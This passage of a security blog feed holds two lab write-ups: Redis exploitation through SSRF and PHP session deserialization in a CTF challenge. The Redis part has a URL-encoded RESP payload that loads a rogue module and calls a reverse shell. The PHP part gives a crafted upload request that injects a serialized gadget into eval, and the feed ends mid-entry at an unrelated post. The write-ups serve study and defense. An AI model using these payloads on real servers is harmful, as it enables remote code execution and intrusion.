00%00%004%00%00%00%00%00%00%00V%00%00%00u%00%00%00H%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%20%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%1d%00%00%00%83%00%00%00%00%00%00%00%00%00%00%00%09%00%00%005%00%00%00E%00%00%001%00%00%00%11......</span></span><br><span class="line"></span><br><span class="line">*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a*3%0d%0a$10%0d%0asystem.rev%0d%0a$9%0d%0a127.0.0.1%0d%0a$4%0d%0a3000%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm ./exp.so%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a</span><br></pre></td></tr></table></figure><p>其中在第二段payload在<code>+FULLRESYNC</code>发送的时候报错，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">*   Trying 127.0.0.1...</span><br><span class="line">* TCP_NODELAY set</span><br><span class="line">* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)</span><br><span class="line">-ERR unknown command '+FULLRESYNC'</span><br><span class="line">-ERR unknown command '$44328'</span><br></pre></td></tr></table></figure><p>提示没有<code>+FULLRESYNC</code>命令，因为以<code>+</code>开头的命令是响应包，我们尝试把<code>+</code>去掉，再次发包，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">*   Trying 127.0.0.1...</span><br><span class="line">* TCP_NODELAY set</span><br><span class="line">* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)</span><br><span class="line">-ERR unknown command 'FULLRESYNC'</span><br><span class="line">-ERR unknown command '$44328'</span><br></pre></td></tr></table></figure><p>依然不行，看来还是需要rogue server与之自然交互。</p><h2 id="Lua-RCE"><a href="#Lua-RCE" class="headerlink" title="Lua RCE"></a>Lua RCE</h2><p>原理：<a href="https://www.anquanke.com/post/id/151203/" target="_blank" rel="noopener">https://www.anquanke.com/post/id/151203/</a></p><p>exp：<a href="https://github.com/QAX-A-Team/redis_lua_exploit/" target="_blank" rel="noopener">https://github.com/QAX-A-Team/redis_lua_exploit/</a></p><p>docker测试，redis版本4.0.14，修改redis_lua.py中的ip和port之后运行，报错：<a href="https://github.com/QAX-A-Team/redis_lua_exploit/issues/1" target="_blank" rel="noopener">https://github.com/QAX-A-Team/redis_lua_exploit/issues/1</a> 尚未解决</p><h2 id="Tips"><a href="#Tips" class="headerlink" title="Tips"></a>Tips</h2><p>参考<a href="https://ricterz.me/posts/2019-07-08-two-tricks-of-redis-exploitation.txt" target="_blank" rel="noopener">https://ricterz.me/posts/2019-07-08-two-tricks-of-redis-exploitation.txt</a></p><blockquote><p>If target redis disabled <code>CONFIG SET</code>, <code>SAVE</code> commands, try to use <code>EVAL &quot;return redis.call(&#39;config&#39;, &#39;set&#39;, &#39;dir&#39;, &#39;/root&#39;)&quot;</code>, <code>BGSAVE</code>, it only works on Redis 4.x.<br>On Redis 5.x, CONFIG command is a “no-script” command, which means you cannot invoke this command in Redis lua.</p></blockquote><p>其中eval的格式为</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1:6379&gt; eval "要执行的lua命令" key的个数 [KEYS[1]...] [AVRG[1]...]</span><br><span class="line">例子</span><br><span class="line">127.0.0.1:6379&gt; eval "return redis.call('SET',KEYS[1],ARGV[1])" 1 foo bar</span><br><span class="line">OK</span><br><span class="line">127.0.0.1:6379&gt; eval "return redis.call('SET','name','gulugulu')" #没有写key个数，程序报错</span><br><span class="line">(error) ERR wrong number of arguments for 'eval' command</span><br><span class="line">127.0.0.1:6379&gt; eval "return redis.call('SET','name','gulugulu')" 0</span><br><span class="line">OK</span><br></pre></td></tr></table></figure><p>笔者尝试redis 4.0.9和redis 4.0.14两个版本均提示成功，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1:6379&gt; EVAL "return redis.call('config', 'set', 'dir', '/root')" 0</span><br><span class="line">OK</span><br><span class="line">127.0.0.1:6379&gt; BGSAVE</span><br><span class="line">Background saving started</span><br></pre></td></tr></table></figure><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://paper.seebug.org/1169/" target="_blank" rel="noopener">https://paper.seebug.org/1169/</a></li><li><a href="https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf" target="_blank" rel="noopener">https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf</a></li><li><a href="https://blog.szfszf.top/article/6/" target="_blank" rel="noopener">https://blog.szfszf.top/article/6/</a></li><li><a href="https://www.onebug.org/websafe/98675.html" target="_blank" rel="noopener">https://www.onebug.org/websafe/98675.html</a></li><li><a href="https://lorexxar.cn/2016/12/03/redis-getshell/" target="_blank" rel="noopener">https://lorexxar.cn/2016/12/03/redis-getshell/</a></li><li><a href="https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/" target="_blank" rel="noopener">https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/</a></li><li><a href="https://saucer-man.com/information_security/283.html" target="_blank" rel="noopener">https://saucer-man.com/information_security/283.html</a></li><li><a href="https://github.com/vulhub/redis-rogue-getshell" target="_blank" rel="noopener">https://github.com/vulhub/redis-rogue-getshell</a></li><li><a href="https://paper.seebug.org/975/" target="_blank" rel="noopener">https://paper.seebug.org/975/</a></li><li><a href="https://ricterz.me/posts/2019-07-08-two-tricks-of-redis-exploitation.txt" target="_blank" rel="noopener">https://ricterz.me/posts/2019-07-08-two-tricks-of-redis-exploitation.txt</a></li><li><a href="https://www.k0rz3n.com/2019/07/29/%E5%AF%B9%E4%B8%80%E6%AC%A1%20redis%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%86%99%E5%85%A5%E6%94%BB%E5%87%BB%E7%9A%84%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%20redis%204.x%20RCE%20%E5%AD%A6%E4%B9%A0/#4-%E8%A1%A5%E5%85%85" target="_blank" rel="noopener">https://www.k0rz3n.com/2019/07/29/%E5%AF%B9%E4%B8%80%E6%AC%A1%20redis%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%86%99%E5%85%A5%E6%94%BB%E5%87%BB%E7%9A%84%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%20redis%204.x%20RCE%20%E5%AD%A6%E4%B9%A0/#4-%E8%A1%A5%E5%85%85</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;ssrf会造成内网漫游，redis作为一种内网常用的中间件易受到攻击，本文主要实践了redis未授权下的攻击和利用，主要从写文件和主从复制RCE两个方面进行了阐述，期间遇到了一些坑，记录下来以飨众人。&lt;/p&gt;
    
    </summary>
    
    
      <category term="hack_middleware" scheme="https://xiaopo.org/categories/hack-middleware/"/>
    
    
      <category term="redis" scheme="https://xiaopo.org/tags/redis/"/>
    
  </entry>
  
  <entry>
    <title>php session反序列化漏洞</title>
    <link href="https://xiaopo.org/posts/af6e5ddd.html"/>
    <id>https://xiaopo.org/posts/af6e5ddd.html</id>
    <published>2020-07-10T15:55:09.000Z</published>
    <updated>2021-01-26T15:07:36.993Z</updated>
    
    <content type="html"><![CDATA[<p>php session在服务端是需要存储的，存储介质一般是file，存储就会涉及到序列化/反序列化，当序列化/反序列化处理器混用的情况就有可能出现问题，特别是在存储时使用php_serialize处理器，读取时使用php处理器，就很有可能会有问题，实际场景并不多，今天作为一种漏洞类型学习一下，大部分都是学习网上的思路，自己实践遇到了一些坑点。</p><a id="more"></a><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><h3 id="php-session反序列化的定义"><a href="#php-session反序列化的定义" class="headerlink" title="php session反序列化的定义"></a>php session反序列化的定义</h3><p>什么是php session反序列化，当php开启会话(session_start)的时候，php会从对应session文件中读取数据将其反序列化到$_SESSION，同样地，当会话关闭时，php会把$_SESSION里面的数据序列化存入session文件，php内置了多种处理器用于存取$_SESSION数据，常用的有以下三种不同的处理格式：</p>| 处理器 | 对应的存储格式 | 示例（序列化串） | 备注 | | ------------------------- | ------------------------------------------------------------ | ------------------ | ---------------------------------------------------- | | php | 键名 ＋ 竖线 ＋ 经过 serialize() 函数反序列处理的值 | a\|i:2; | | | php_binary | 键名的长度对应的 ASCII 字符 ＋ 键名 ＋ 经过 serialize() 函数反序列处理的值 | ^Aai:2; | ^A为一个字符，<br>通过hexdump -C查看其十六进制为01 | | php_serialize(php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 | a:1:{s:1:"a";i:2;} | |<p>示例结果为<code>$_SESSION[&#39;a&#39;] = 2</code>的序列化串，可使用如下代码测试得到，</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">ini_set(<span class="string">'session.serialize_handler'</span>, <span class="string">'php_serialize'</span>);</span><br><span class="line">session_start();</span><br><span class="line">$_SESSION[<span class="string">'a'</span>] = <span class="number">2</span>;</span><br><span class="line">session_write_close();</span><br></pre></td></tr></table></figure><p>我使用oneinstack安装php之后显示的默认处理器是php不是php_serialize，应该是oneinstack对其进行了修改</p><h3 id="产生的原理"><a href="#产生的原理" class="headerlink" title="产生的原理"></a>产生的原理</h3><p>漏洞产生的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入|, 再用session.serialize_handler = php格式取出session文件内容时，|会被当成键值对的分隔符，在特定的地方会造成反序列化漏洞，具体可参见漏洞复现部分。</p><h3 id="涉及的php-ini配置项"><a href="#涉及的php-ini配置项" class="headerlink" title="涉及的php.ini配置项"></a>涉及的php.ini配置项<img src="https://i.loli.net/2020/07/10/8aEIF5zQwyqmYsU.png" alt="/data/typora_assets/php session反序列化踩坑/image-20200708210328939.png"></h3><p>默认情况下session.upload_progress.cleanup的值为On，我们目前暂时手动修改为Off，以便保证在脚本开始运行时上传进度相关的session信息依然存在，在该选项为On的情况下可以利用竞态条件来实现session信息的反序列化，关于该配置项的解释，可参见php官方文档。</p><blockquote><p>Note that if you run that code and you print out the content of $_SESSSION[$key] you get an empty array due that session.upload_progress.cleanup is on by default and it cleans the progress information as soon as all POST data has been read.<br>Set it to Off or 0 to see the content of $_SESSION[$key].</p></blockquote><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><p><a href="http://web.jarvisoj.com:32784/index.php" target="_blank" rel="noopener">http://web.jarvisoj.com:32784/index.php</a> ，复制该题的源码存入session_unserialize.php，它在开头使用了<code>ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);</code>而php.ini中session.serialize_handler配置为php_serialize，故可能存在php session反序列化漏洞，而恰好有类OowoO存在eval危险函数，此危险函数同时又在类OowoO的__destruct()中，于是我们使用如下代码构造序列化串以显示文件所在目录</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OowoO</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $mdzz=<span class="string">'print_r(dirname(__FILE__));'</span>;</span><br><span class="line">&#125;</span><br><span class="line">$obj = <span class="keyword">new</span> OowoO();</span><br><span class="line">$a = serialize($obj);</span><br><span class="line"></span><br><span class="line">var_dump($a);</span><br><span class="line"></span><br><span class="line">输出结果：</span><br><span class="line"><span class="string">'O:5:"OowoO":1:&#123;s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";&#125;'</span></span><br></pre></td></tr></table></figure><p>在输出结果前面加上|，然后想办法作为$_SESSION的某个键值使用php_serialize处理器序列化到session文件中，然后再从session文件中使用php处理器反序列化出来，那么漏洞就会产生。<br>反序列化的漏洞文件session_unserialize.php已经有了，下一步重点是我们要想办法把序列化串存到$_SESSION中，这时就要用到php.ini的配置项sesssion.upload_progress.enabled=On，默认为开启状态，查看php官方文档<a href="https://www.php.net/manual/en/session.upload-progress.php" target="_blank" rel="noopener">https://www.php.net/manual/en/session.upload-progress.php</a></p><blockquote><p>The upload progress will be available in the $_SESSION superglobal when an upload is in progress, and when POSTing a variable of the same name as the session.upload_progress.name INI setting is set to. When PHP detects such POST requests, it will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and session.upload_progress.name INI options. The key is typically retrieved by reading these INI settings, i.e.</p></blockquote><p>也就是说当开启上传进度查看时，如果发送一个POST请求，POST请求中有个参数的名称是session.upload_progress.name的值（一般是PHP_SESSION_UPLOAD_PROGRESS），那么后端会在$_SESSION超全局数组里面记录上传进度用以返回给前端，具体$_SESSION超全局数组里面会存储什么，下面也有介绍，也可以自行写代码测试进行查看，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">Example of the structure of the progress upload array.</span><br><span class="line"></span><br><span class="line">&lt;form action&#x3D;&quot;upload.php&quot; method&#x3D;&quot;POST&quot; enctype&#x3D;&quot;multipart&#x2F;form-data&quot;&gt;</span><br><span class="line"> &lt;input type&#x3D;&quot;hidden&quot; name&#x3D;&quot;&lt;?php echo ini_get(&quot;session.upload_progress.name&quot;); ?&gt;&quot; value&#x3D;&quot;123&quot; &#x2F;&gt;</span><br><span class="line"> &lt;input type&#x3D;&quot;file&quot; name&#x3D;&quot;file1&quot; &#x2F;&gt;</span><br><span class="line"> &lt;input type&#x3D;&quot;file&quot; name&#x3D;&quot;file2&quot; &#x2F;&gt;</span><br><span class="line"> &lt;input type&#x3D;&quot;submit&quot; &#x2F;&gt;</span><br><span class="line">&lt;&#x2F;form&gt;</span><br><span class="line"></span><br><span class="line">The data stored in the session will look like this:</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line">$_SESSION[&quot;upload_progress_123&quot;] &#x3D; array(</span><br><span class="line"> &quot;start_time&quot; &#x3D;&gt; 1234567890,   &#x2F;&#x2F; The request time</span><br><span class="line"> &quot;content_length&quot; &#x3D;&gt; 57343257, &#x2F;&#x2F; POST content length</span><br><span class="line"> &quot;bytes_processed&quot; &#x3D;&gt; 453489,  &#x2F;&#x2F; Amount of bytes received and processed</span><br><span class="line"> &quot;done&quot; &#x3D;&gt; false,              &#x2F;&#x2F; true when the POST handler has finished, successfully or not</span><br><span class="line"> &quot;files&quot; &#x3D;&gt; array(</span><br><span class="line">  0 &#x3D;&gt; array(</span><br><span class="line">   &quot;field_name&quot; &#x3D;&gt; &quot;file1&quot;,       &#x2F;&#x2F; Name of the &lt;input&#x2F;&gt; field</span><br><span class="line">   &#x2F;&#x2F; The following 3 elements equals those in $_FILES</span><br><span class="line">   &quot;name&quot; &#x3D;&gt; &quot;foo.avi&quot;,</span><br><span class="line">   &quot;tmp_name&quot; &#x3D;&gt; &quot;&#x2F;tmp&#x2F;phpxxxxxx&quot;,</span><br><span class="line">   &quot;error&quot; &#x3D;&gt; 0,</span><br><span class="line">   &quot;done&quot; &#x3D;&gt; true,                &#x2F;&#x2F; True when the POST handler has finished handling this file</span><br><span class="line">   &quot;start_time&quot; &#x3D;&gt; 1234567890,    &#x2F;&#x2F; When this file has started to be processed</span><br><span class="line">   &quot;bytes_processed&quot; &#x3D;&gt; 57343250, &#x2F;&#x2F; Number of bytes received and processed for this file</span><br><span class="line">  ),</span><br><span class="line">  &#x2F;&#x2F; An other file, not finished uploading, in the same request</span><br><span class="line">  1 &#x3D;&gt; array(</span><br><span class="line">   &quot;field_name&quot; &#x3D;&gt; &quot;file2&quot;,</span><br><span class="line">   &quot;name&quot; &#x3D;&gt; &quot;bar.avi&quot;,</span><br><span class="line">   &quot;tmp_name&quot; &#x3D;&gt; NULL,</span><br><span class="line">   &quot;error&quot; &#x3D;&gt; 0,</span><br><span class="line">   &quot;done&quot; &#x3D;&gt; false,</span><br><span class="line">   &quot;start_time&quot; &#x3D;&gt; 1234567899,</span><br><span class="line">   &quot;bytes_processed&quot; &#x3D;&gt; 54554,</span><br><span class="line">  ),</span><br><span class="line"> )</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>值得一提的是这种情况下，$_SESSION超全局数组里面会存储$_FILES超全局数组里面的一些信息，最为关键的是file name和file temp name，我们就借助file name来把序列化串写入到$_SESSION中，构造html请求表单</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="meta-keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">"en"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>php session unserialize example<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">"http://localhost/vuln/session_unserialize.php"</span> <span class="attr">method</span>=<span class="string">"POST"</span> <span class="attr">enctype</span>=<span class="string">"multipart/form-data"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"hidden"</span> <span class="attr">name</span>=<span class="string">"PHP_SESSION_UPLOAD_PROGRESS"</span> <span class="attr">value</span>=<span class="string">"123"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"file"</span> <span class="attr">name</span>=<span class="string">"file"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>随意提交文件上传，burp拦截改包如下，</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/vuln/session_unserialize.php</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: localhost</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span>: en-US,en;q=0.5</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Content-Type</span>: multipart/form-data; boundary=---------------------------1314365402189625052536245878</span><br><span class="line"><span class="attribute">Content-Length</span>: 424</span><br><span class="line"><span class="attribute">Referer</span>: http://localhost/vuln/session_unserialize.html</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=9nhpcsuogisgjnmfm5e3gqri43; XDEBUG_SESSION=PHPSTORM</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span>: 1</span><br><span class="line"><span class="attribute">Cache-Control</span>: max-age=0</span><br><span class="line"></span><br><span class="line">-----------------------------1314365402189625052536245878</span><br><span class="line"><span class="attribute">Content-Disposition</span>: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"</span><br><span class="line"></span><br><span class="line"><span class="attribute">123</span></span><br><span class="line"><span class="attribute">-----------------------------1314365402189625052536245878</span></span><br><span class="line"><span class="attribute">Content-Disposition</span>: form-data; name="file"; filename="|O:5:\"OowoO\":1:&#123;s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";&#125;"</span><br><span class="line"><span class="attribute">Content-Type</span>: application/octet-stream</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">-----------------------------1314365402189625052536245878--</span><br></pre></td></tr></table></figure><p>因为HTTP包Cookie中带有XDEBUG_SESSION=PHPSTORM，故burp发包也会触发PHPSTORM调试机制，该包我们调试一下，<br><img src="https://i.loli.net/2020/07/10/YEn89uHV1lLcOfx.png" alt="/data/typora_assets/php session反序列化踩坑/image-20200708220406122.png"></p><p>此时session文件内容如下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~/grayguest.github.io on git:writing x [22:02:34] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> sudo cat /tmp/sess_9nhpcsuogisgjnmfm5e3gqri43</span></span><br><span class="line">a:2:&#123;s:1:"a";i:2;s:19:"upload_progress_123";a:5:&#123;s:10:"start_time";i:1594216960;s:14:"content_length";i:424;s:15:"bytes_processed";i:424;s:4:"done";b:1;s:5:"files";a:1:&#123;i:0;a:7:&#123;s:10:"field_name";s:4:"file";s:4:"name";s:63:"|O:5:"OowoO":1:&#123;s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";&#125;";s:8:"tmp_name";s:14:"/tmp/php5ueiZ3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1594216960;s:15:"bytes_processed";i:424;&#125;&#125;&#125;&#125;%</span><br></pre></td></tr></table></figure><p>此时还未更改反序列化处理器，所以$_SESSION数组比较正常，有的人可能会问，session_start()还没开始，怎么数据已经反序列化到$_SESSION数组中了呢，这可能是因为session.auto_start = on，具体session.auto_start的解释可参见<a href="https://github.com/80vul/phpcodz/blob/master/research/pch-013.md，" target="_blank" rel="noopener">https://github.com/80vul/phpcodz/blob/master/research/pch-013.md，</a></p><blockquote><p>配置选项 session.auto_start＝On，会自动注册 Session 会话，因为该过程是发生在脚本代码执行前，所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的，因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start＝On 时，销毁自动生成的 Session 会话，然后设置需要的序列化处理器，再调用 session_start() 函数注册会话</p></blockquote><p>但是我的php.ini中session.auto_start配置为off，那又会是其他什么原因呢，猜测可能和上传过程有关系，先不管它，往下单步，</p><p><img src="https://i.loli.net/2020/07/10/uqMmdC5hAKX9ELw.png" alt="/data/typora_assets/php session反序列化踩坑/image-20200708220516329.png"><br>此时已经更改反序列化处理器为php，故会使用php处理器进行反序列化后存入$_SESSION，于是危险类被触发，返回当前路径，待执行完毕，session文件内容如下，</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> xiaopo @ fht <span class="keyword">in</span> ~/grayguest.github.io on git:writing x [22:02:53] </span></span><br><span class="line"><span class="meta">$</span><span class="bash"> sudo cat /tmp/sess_9nhpcsuogisgjnmfm5e3gqri43</span></span><br><span class="line">a:1:&#123;s:19:"upload_progress_123";a:5:&#123;s:10:"start_time";i:1594217096;s:14:"content_length";i:424;s:15:"bytes_processed";i:424;s:4:"done";b:1;s:5:"files";a:1:&#123;i:0;a:7:&#123;s:10:"field_name";s:4:"file";s:4:"name";s:63:"|O:5:"OowoO":1:&#123;s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";&#125;%</span><br></pre></td></tr></table></figure><h2 id="利用竞态条件来实现session信息的反序列化"><a href="#利用竞态条件来实现session信息的反序列化" class="headerlink" title="利用竞态条件来实现session信息的反序列化"></a>利用竞态条件来实现session信息的反序列化</h2><p><a href="https://xz.aliyun.com/t/6640#toc-10" target="_blank" rel="noopener">https://xz.aliyun.com/t/6640#toc-10</a> ，panda师傅的这篇文章最后的实例，关于“由于请求后，session会立刻被清空覆盖，因此需要不断发送请求，这里可以写脚本，也可以直接利用burp ，我偷个懒直接利用 burp ：”我理解session之所以会被清空是因为session.upload_progress.cleanup为On，按道理它在php文件运行前就已经被清空了，后来得知panda师傅是利用竞态条件来实现的，然后我尝试burp发包1000次也没能写入文件，刚开始不知道可能是什么原因，<br><img src="https://i.loli.net/2020/07/10/c7MG9LpOYX3kmfz.png" alt="/data/typora_assets/php session反序列化踩坑/image-20200710104920949.png"><br>后来把burp intruder线程调到50，成功反序列化，另外注意web权限要有写本地文件权限。<br><img src="https://i.loli.net/2020/07/10/qi6WfLx28RQv3Ce.png" alt="/data/typora_assets/php session反序列化踩坑/image-20200710151950385.png"></p><h2 id="防御"><a href="#防御" class="headerlink" title="防御"></a>防御</h2><ul><li>统一使用相同的处理器做序列化/反序列化，比如php_serialize。</li><li>当使用php处理器做反序列化时，必须保证不和php_serialize处理器混用。</li></ul><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><ul><li><a href="https://xz.aliyun.com/t/3674" target="_blank" rel="noopener">https://xz.aliyun.com/t/3674</a></li><li><a href="https://xz.aliyun.com/t/6640" target="_blank" rel="noopener">https://xz.aliyun.com/t/6640</a></li><li><a href="https://github.com/80vul/phpcodz/blob/master/research/pch-013.md" target="_blank" rel="noopener">https://github.com/80vul/phpcodz/blob/master/research/pch-013.md</a></li><li><a href="https://mp.weixin.qq.com/s/n5ofmXbDxWgOCg4oNgPtsw" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/n5ofmXbDxWgOCg4oNgPtsw</a></li><li><a href="https://www.php.net/manual/en/session.upload-progress.php" target="_blank" rel="noopener">https://www.php.net/manual/en/session.upload-progress.php</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;php session在服务端是需要存储的，存储介质一般是file，存储就会涉及到序列化/反序列化，当序列化/反序列化处理器混用的情况就有可能出现问题，特别是在存储时使用php_serialize处理器，读取时使用php处理器，就很有可能会有问题，实际场景并不多，今天作为一种漏洞类型学习一下，大部分都是学习网上的思路，自己实践遇到了一些坑点。&lt;/p&gt;
    
    </summary>
    
    
      <category term="php安全" scheme="https://xiaopo.org/categories/php%E5%AE%89%E5%85%A8/"/>
    
    
  </entry>
  
  <entry>
    <title>买房相关知识汇总</title>
    <link href="https://xiaopo.org/posts/24581dd4.html"/>
    <id>https://xiaopo.org/posts/24581dd4.html</id>
    <published>2020-05-25T10:36:55.000Z</published>
    <updated>2021-01-26T15:07:36.993Z</updated>
    
